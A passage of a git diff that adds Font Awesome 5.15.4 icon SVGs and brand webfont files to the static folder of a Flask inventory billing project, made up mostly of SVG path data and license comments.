30.318-65.635 67.052-63.929 33.271 1.545 60.048 28.905 60.925 62.201.868 32.933-23.152 60.423-54.608 65.039l4.67 32.69H336c8.837 0 16 7.163 16 16v32c0 8.837-7.163 16-16 16H215.182l4.572 32H352a32 32 0 0 1 28.962 18.392L438.477 396.8l36.178-18.349c7.915-3.929 17.517-.697 21.446 7.218zM311.358 352h-24.506c-7.788 54.204-54.528 96-110.852 96-61.757 0-112-50.243-112-112 0-41.505 22.694-77.809 56.324-97.156-3.712-25.965-6.844-47.86-9.488-66.333C45.956 198.464 0 261.963 0 336c0 97.047 78.953 176 176 176 71.87 0 133.806-43.308 161.11-105.192L311.358 352z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wifi.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wifi.svg new file mode 100644 index 00000000..9389a17d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wifi.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M634.91 154.88C457.74-8.99 182.19-8.93 5.09 154.88c-6.66 6.16-6.79 16.59-.35 22.98l34.24 33.97c6.14 6.1 16.02 6.23 22.4.38 145.92-133.68 371.3-133.71 517.25 0 6.38 5.85 16.26 5.71 22.4-.38l34.24-33.97c6.43-6.39 6.3-16.82-.36-22.98zM320 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm202.67-83.59c-115.26-101.93-290.21-101.82-405.34 0-6.9 6.1-7.12 16.69-.57 23.15l34.44 33.99c6 5.92 15.66 6.32 22.05.8 83.95-72.57 209.74-72.41 293.49 0 6.39 5.52 16.05 5.13 22.05-.8l34.44-33.99c6.56-6.46 6.33-17.06-.56-23.15z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wind.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wind.svg new file mode 100644 index 00000000..db745110 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wind.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M156.7 256H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h142.2c15.9 0 30.8 10.9 33.4 26.6 3.3 20-12.1 37.4-31.6 37.4-14.1 0-26.1-9.2-30.4-21.9-2.1-6.3-8.6-10.1-15.2-10.1H81.6c-9.8 0-17.7 8.8-15.9 18.4 8.6 44.1 47.6 77.6 94.2 77.6 57.1 0 102.7-50.1 95.2-108.6C249 291 205.4 256 156.7 256zM16 224h336c59.7 0 106.8-54.8 93.8-116.7-7.6-36.2-36.9-65.5-73.1-73.1-55.4-11.6-105.1 24.9-114.9 75.5-1.9 9.6 6.1 18.3 15.8 18.3h32.8c6.7 0 13.1-3.8 15.2-10.1C325.9 105.2 337.9 96 352 96c19.4 0 34.9 17.4 31.6 37.4-2.6 15.7-17.4 26.6-33.4 26.6H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16zm384 32H243.7c19.3 16.6 33.2 38.8 39.8 64H400c26.5 0 48 21.5 48 48s-21.5 48-48 48c-17.9 0-33.3-9.9-41.6-24.4-2.9-5-8.7-7.6-14.5-7.6h-33.8c-10.9 0-19 10.8-15.3 21.1 17.8 50.6 70.5 84.8 129.4 72.3 41.2-8.7 75.1-41.6 84.7-82.7C526 321.5 470.5 256 400 256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-close.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-close.svg new file mode 100644 index 00000000..a497a9b9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-close.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-83.6 290.5c4.8 4.8 4.8 12.6 0 17.4l-40.5 40.5c-4.8 4.8-12.6 4.8-17.4 0L256 313.3l-66.5 67.1c-4.8 4.8-12.6 4.8-17.4 0l-40.5-40.5c-4.8-4.8-4.8-12.6 0-17.4l67.1-66.5-67.1-66.5c-4.8-4.8-4.8-12.6 0-17.4l40.5-40.5c4.8-4.8 12.6-4.8 17.4 0l66.5 67.1 66.5-67.1c4.8-4.8 12.6-4.8 17.4 0l40.5 40.5c4.8 4.8 4.8 12.6 0 17.4L313.3 256l67.1 66.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-maximize.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-maximize.svg new file mode 100644 index 00000000..daa50e73 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-maximize.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16 160H64v-84c0-6.6 5.4-12 12-12h360c6.6 0 12 5.4 12 12v84z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-minimize.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-minimize.svg new file mode 100644 index 00000000..d54d4ad2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-minimize.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 352H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-restore.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-restore.svg new file mode 100644 index 00000000..45493283 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/window-restore.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 48v288c0 26.5-21.5 48-48 48h-48V176c0-44.1-35.9-80-80-80H128V48c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zM384 176v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zm-68 28c0-6.6-5.4-12-12-12H76c-6.6 0-12 5.4-12 12v52h252v-52z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wine-bottle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wine-bottle.svg new file mode 100644 index 00000000..78bd00b8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wine-bottle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M507.31 72.57L439.43 4.69c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l-76.67 76.67c-46.58-19.7-102.4-10.73-140.37 27.23L18.75 312.23c-24.99 24.99-24.99 65.52 0 90.51l90.51 90.51c24.99 24.99 65.52 24.99 90.51 0l158.39-158.39c37.96-37.96 46.93-93.79 27.23-140.37l76.67-76.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.24-6.24 6.24-16.37-.01-22.62zM179.22 423.29l-90.51-90.51 122.04-122.04 90.51 90.51-122.04 122.04z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wine-glass-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wine-glass-alt.svg new file mode 100644 index 00000000..61c9b0e6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wine-glass-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 288 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM61.75 48h164.5l7.17 80H54.58l7.17-80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wine-glass.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wine-glass.svg new file mode 100644 index 00000000..11a78289 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wine-glass.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 288 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/won-sign.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/won-sign.svg new file mode 100644 index 00000000..dc098247 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/won-sign.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M564 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-48l18.6-80.6c1.7-7.5-4-14.7-11.7-14.7h-46.1c-5.7 0-10.6 4-11.7 9.5L450.7 128H340.8l-19.7-86c-1.3-5.5-6.1-9.3-11.7-9.3h-44c-5.6 0-10.4 3.8-11.7 9.3l-20 86H125l-17.5-85.7c-1.1-5.6-6.1-9.6-11.8-9.6H53.6c-7.7 0-13.4 7.1-11.7 14.6L60 128H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h62.3l7.2 32H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h83.9l40.9 182.6c1.2 5.5 6.1 9.4 11.7 9.4h56.8c5.6 0 10.4-3.9 11.7-9.3L259.3 288h55.1l42.4 182.7c1.3 5.4 6.1 9.3 11.7 9.3h56.8c5.6 0 10.4-3.9 11.7-9.3L479.1 288H564c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-70.1l7.4-32zM183.8 342c-6.2 25.8-6.8 47.2-7.3 47.2h-1.1s-1.7-22-6.8-47.2l-11-54h38.8zm27.5-118h-66.8l-6.5-32h80.8zm62.9 0l2-8.6c1.9-8 3.5-16 4.8-23.4h11.8c1.3 7.4 2.9 15.4 4.8 23.4l2 8.6zm130.9 118c-5.1 25.2-6.8 47.2-6.8 47.2h-1.1c-.6 0-1.1-21.4-7.3-47.2l-12.4-54h39.1zm25.2-118h-67.4l-7.3-32h81.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wrench.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wrench.svg new file mode 100644 index 00000000..32e21eef --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/wrench.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M507.73 109.1c-2.24-9.03-13.54-12.09-20.12-5.51l-74.36 74.36-67.88-11.31-11.31-67.88 74.36-74.36c6.62-6.62 3.43-17.9-5.66-20.16-47.38-11.74-99.55.91-136.58 37.93-39.64 39.64-50.55 97.1-34.05 147.2L18.74 402.76c-24.99 24.99-24.99 65.51 0 90.5 24.99 24.99 65.51 24.99 90.5 0l213.21-213.21c50.12 16.71 107.47 5.68 147.37-34.22 37.07-37.07 49.7-89.32 37.91-136.73zM64 472c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/x-ray.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/x-ray.svg new file mode 100644 index 00000000..5bf3f874 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/x-ray.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M240 384c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm160 32c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zM624 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zm0 448h-48V96H64v352H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM480 248c0 4.4-3.6 8-8 8H336v32h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h64c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48v-16h-64v16c0 26.5-21.5 48-48 48s-48-21.5-48-48 21.5-48 48-48h64v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-32H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h136v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-24c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v24h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h136c4.4 0 8 3.6 8 8v16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/yen-sign.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/yen-sign.svg new file mode 100644 index 00000000..f3229c04 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/yen-sign.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M351.2 32h-65.3c-4.6 0-8.8 2.6-10.8 6.7l-55.4 113.2c-14.5 34.7-27.1 71.9-27.1 71.9h-1.3s-12.6-37.2-27.1-71.9L108.8 38.7c-2-4.1-6.2-6.7-10.8-6.7H32.8c-9.1 0-14.8 9.7-10.6 17.6L102.3 200H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h88.2l19.8 37.2V320H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h108v92c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12v-92h108c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12H232v-26.8l19.8-37.2H340c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12h-58.3l80.1-150.4c4.3-7.9-1.5-17.6-10.6-17.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/yin-yang.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/yin-yang.svg new file mode 100644 index 00000000..127bf3e8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/yin-yang.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 376c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-128c-53.02 0-96 42.98-96 96s42.98 96 96 96c-106.04 0-192-85.96-192-192S141.96 64 248 64c53.02 0 96 42.98 96 96s-42.98 96-96 96zm0-128c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.eot b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.eot new file mode 100644 index 00000000..32e0207f Binary files /dev/null and b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.eot differ diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.svg new file mode 100644 index 00000000..5d605eac --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/webfonts/fa-brands-400.svg @@ -0,0 +1,3717 @@ +<?xml version="1.0" standalone="no"?> +<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> +<metadata> +Created by FontForge 20201107 at Wed Aug 4 12:22:50 2021 + By Robert Madole +Copyright (c) Font Awesome +</metadata> +<!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><defs> +<font id="FontAwesome5Brands-Regular" horiz-adv-x="448" > + <font-face + font-family="Font Awesome 5 Brands Regular" + font-weight="400" + font-stretch="normal" + units-per-em="512" + panose-1="2 0 5 3 0 0 0 0 0 0" + ascent="448" + descent="-64" + bbox="-0.200195 -66.9505 641.5 448.3" + underline-thickness="25" + underline-position="-50" + unicode-range="U+0020-F8E8" + /> + <missing-glyph /> + <glyph glyph-name="firefox-browser" unicode="" horiz-adv-x="512" +d="M130.63 324.51c0.160156 -0.00976562 0.0800781 -0.00976562 0 0zM482.05 279.16c15.2803 -36.7598 20.6709 -80.748 15.8213 -122.578c-0.370117 -3.15039 -0.700195 -6.29004 -1.11035 -9.41016c-19.6094 -115.04 -119.79 -202.62 -240.43 -202.62 +c-134.71 0 -243.92 109.19 -243.92 243.891v1.23926c0.149414 2.70996 0.30957 5.41016 0.490234 8.12012c0.0498047 0.240234 0.0498047 0.480469 0.0498047 0.719727c0.439453 6.29004 0.870117 10.3105 1.43945 14c0.240234 1.91309 0.5 3.82617 0.780273 5.73926 +c1.66992 12.2705 3.94043 22.21 4 22.4805c5.99219 26.8799 17.3516 52.1084 32.7305 73.8994v0c6.86816 9.79785 14.3965 18.8301 22.7695 27.3301c7.36719 7.53418 15.2451 14.2881 23.8398 20.4307c0.930664 0.629883 8.03027 4.83984 8.15039 4.30957 +c-0.570312 -8.42969 -1.24023 -48.8301 8.42969 -61.0801h0.120117c14.1602 15.9199 33.6504 33.96 58.71 45.3701c-2.38477 -9.13379 -3.64844 -18.6562 -3.64844 -28.5332c0 -10.7832 1.51367 -21.2158 4.33887 -31.0967 +c2.20508 -1.47852 4.29199 -3.05566 6.30957 -4.77051c3.71973 -3.14941 7.91992 -7.34961 16.7705 -16.0596c16.5498 -16.3096 59 -33.1797 59.0898 -35.1797c-0.400391 -6.08008 -21.8301 -27 -29.3301 -27c-69.3701 0 -80.6201 -41.9502 -80.6201 -41.9502 +c3.07031 -35.3301 27.6699 -64.4102 57.5098 -79.75c1.36035 -0.730469 2.74023 -1.37012 4.12012 -2c2.36035 -1.04004 4.74023 -2.02051 7.16016 -2.92969c9.95996 -3.52539 20.6885 -5.66895 31.7402 -6.12012c121.569 -5.7002 145.13 145.34 57.3896 189.199 +c22.4697 3.91016 45.8203 -5.12988 58.8203 -14.2793c-10.374 18.1104 -24.9414 33.167 -42.6602 44.1299c-0.993164 0.620117 -1.99316 1.21973 -3 1.7998c-1.55957 0.913086 -3.13965 1.79004 -4.74023 2.62988c-0.75 0.390625 -1.5 0.759766 -2.25 1.12988 +c-1.65332 0.813477 -3.32031 1.59668 -5.00098 2.34961c-1.07031 0.469727 -2.16016 0.910156 -3.25 1.34961c-1.33984 0.580078 -2.68945 1.08008 -4.0498 1.58008c-1.86035 0.669922 -3.73047 1.2998 -5.62012 1.87012c-0.679688 0.209961 -1.33008 0.429688 -2 0.629883 +c-10.8193 3.12793 -22.2139 4.82422 -34.0352 4.82422c-0.338867 0 -0.676758 -0.00195312 -1.01465 -0.00390625c-2 -0.0205078 -4 -0.100586 -6 -0.220703l-1.41992 -0.0996094c-14.8984 -1.04102 -29.2461 -4.92383 -42.1104 -11l-0.519531 -0.209961 +c-0.625977 -0.21582 -1.29688 -0.335938 -1.99609 -0.335938c-2.68164 0 -4.96289 1.72559 -5.79395 4.12598c-0.246094 0.669922 -0.388672 1.39258 -0.388672 2.14746c0 2.4541 1.41797 4.58008 3.47852 5.60254c14.7295 6.98535 31.1982 11.3564 48.3301 12.3301 +c5.7793 35.3994 28.2695 91.0098 82.5 122.78l-0.100586 -0.140625l0.180664 0.100586l0.120117 0.0693359c0.0732422 0.0195312 0.149414 0.0302734 0.229492 0.0302734c0.0791016 0 0.15625 -0.0107422 0.230469 -0.0302734 +c0.30957 -0.0390625 0.550781 -0.303711 0.550781 -0.624023c0 -0.0117188 -0.000976562 -0.0244141 -0.000976562 -0.0361328c0.84375 -3.34961 2.08887 -6.61523 3.63965 -9.61914c0.830078 -1.70996 1.69043 -3.40039 2.69043 -5.05078 +c1.87988 -3.21973 3.80957 -6.2793 5.73926 -9.33008c38.2002 -60.3594 84.9707 -88.0791 112.551 -156.829c-0.0507812 0.269531 -0.0507812 0.40918 -0.0507812 0.40918c-3.0293 20.1201 -10.9795 47.1104 -24.6992 74 +c16.8594 -8.72949 38.3301 -36.2295 48.9395 -61.7295z" /> + <glyph glyph-name="ideal" unicode="" horiz-adv-x="576" +d="M125.61 282.52c27.0713 -0.0107422 49.0488 -21.9873 49.0596 -49.0596v-0.00976562c0 -27.083 -21.9873 -49.0703 -49.0703 -49.0703c-27.082 0 -49.0693 21.9873 -49.0693 49.0703c0 27.082 21.9873 49.0693 49.0693 49.0693h0.0107422zM86.1504 22.1602v140.52 +h78.9395v-140.52h-78.9395zM237.61 233.76c0 -20.4502 -8.99023 -23.2598 -18.7402 -23.2598h-14.0498v45.79h14.0498c8.74023 0 18.7402 -2.53027 18.7402 -22.5303zM439.3 187.76h57.0898c-1.7793 -98.4795 -52.1094 -165.64 -196.72 -165.64h-94.8301v165.62h14 +c25.9805 0 41.5 17.1895 41.5 46c0 27.9102 -15.8994 45.2598 -41.5 45.2598h-14v82.8096h94.8301c88.9404 0 186.83 -26.8896 196.07 -151.31h-33.6904v68.5703h-22.75v-91.3105zM329.55 187.76l-0.0400391 22.7402h-33.5098v12.5h30v22.6904h-30v10.5791h31.7305v22.7305 +h-54.4307v-91.2402h56.25zM404.21 187.76l23.6699 -0.0195312l-27.5303 91.3398h-32.3496l-27.5303 -91.3203h23.6602l5.17969 17.6699h29.7402zM299.65 416c218.35 0 250.97 -140 251 -223.48c0 -144.789 -89.1504 -224.52 -251 -224.52h-267.65v448h267.65z +M299.65 -10.9199c148.899 0 229.899 69.3496 229.899 203.439c0 137.801 -87.7998 202.41 -229.899 202.41h-246.58v-405.85h246.58zM383.51 253.93h1.37012l7.52051 -25.8096h-16.4004z" /> + <glyph glyph-name="microblog" unicode="" +d="M399.36 85.7695l0.149414 0.0605469c-13.5439 -15.3408 -21.7432 -35.5967 -21.7432 -57.6494c0 -19.957 6.73438 -38.3545 18.0537 -53.041c0.589844 -0.745117 0.944336 -1.68652 0.944336 -2.71094c0 -0.311523 -0.0322266 -0.615234 -0.0947266 -0.90918 +c-0.416992 -2.00684 -2.19434 -3.52051 -4.32422 -3.52051c-0.306641 0 -0.606445 0.03125 -0.895508 0.0908203c-32.2803 7.17969 -61.3105 24.8301 -79.8906 49.9199c-1.30566 1.78906 -3.41699 2.94434 -5.7998 2.94434 +c-0.811523 0 -1.5918 -0.135742 -2.31934 -0.383789c-24.7363 -8.66016 -51.3818 -13.4404 -79.0586 -13.4404h-0.381836c-122.86 0 -222.46 91.4805 -222.46 204.43c0 112.95 99.5996 204.44 222.46 204.44s222.46 -91.4902 222.46 -204.44 +c0 -47.4492 -17.6104 -91.0996 -47.0996 -125.79zM329.52 235.6c1.56738 1.18652 2.57324 3.03516 2.57324 5.15039c0 3.57227 -2.88672 6.47461 -6.45312 6.5l-71.8799 1.50977l-23.6602 67.9199c-0.882812 2.54199 -3.29688 4.36914 -6.1377 4.36914 +s-5.25879 -1.82715 -6.1416 -4.36914l-23.6602 -67.9199l-71.8799 -1.50977c-3.5293 -0.0673828 -6.38086 -2.95117 -6.38086 -6.49609c0 -2.11523 1.01367 -3.99707 2.58105 -5.18359l57.2998 -43.4902l-20.79 -68.8604 +c-0.178711 -0.59375 -0.269531 -1.21875 -0.269531 -1.87109c0 -3.59277 2.91699 -6.50977 6.50977 -6.50977c1.37793 0 2.65723 0.429688 3.70996 1.16113l59.0596 41.0801l59.0596 -41.0498c1.05371 -0.735352 2.33984 -1.1709 3.71973 -1.1709 +c3.58789 0 6.5 2.91211 6.5 6.5c0 0.657227 -0.0976562 1.29199 -0.279297 1.89062l-20.7803 68.8604z" /> + <glyph glyph-name="pied-piper-square" unicode="" +d="M32 29l-32 -60.2002l0.799805 328c0 65.9004 53.2002 119.2 119.2 119.2h327.2c-93 -28.9004 -189.9 -94.2002 -253.9 -168.6c-70.5996 -81.4004 -110.7 -137.4 -161.3 -218.4zM448 416c0 0 0 -328.8 0.0996094 -328.8c0 -65.9004 -53.2998 -119.2 -119.3 -119.2 +h-328.399c18.5 25.5 61.6992 54 84.8994 66c35.5 18.0996 76.4004 28.5 105.3 56.2998c42.1006 40.5 47.8008 105 71 158.601c43.6006 100.3 186.4 167.1 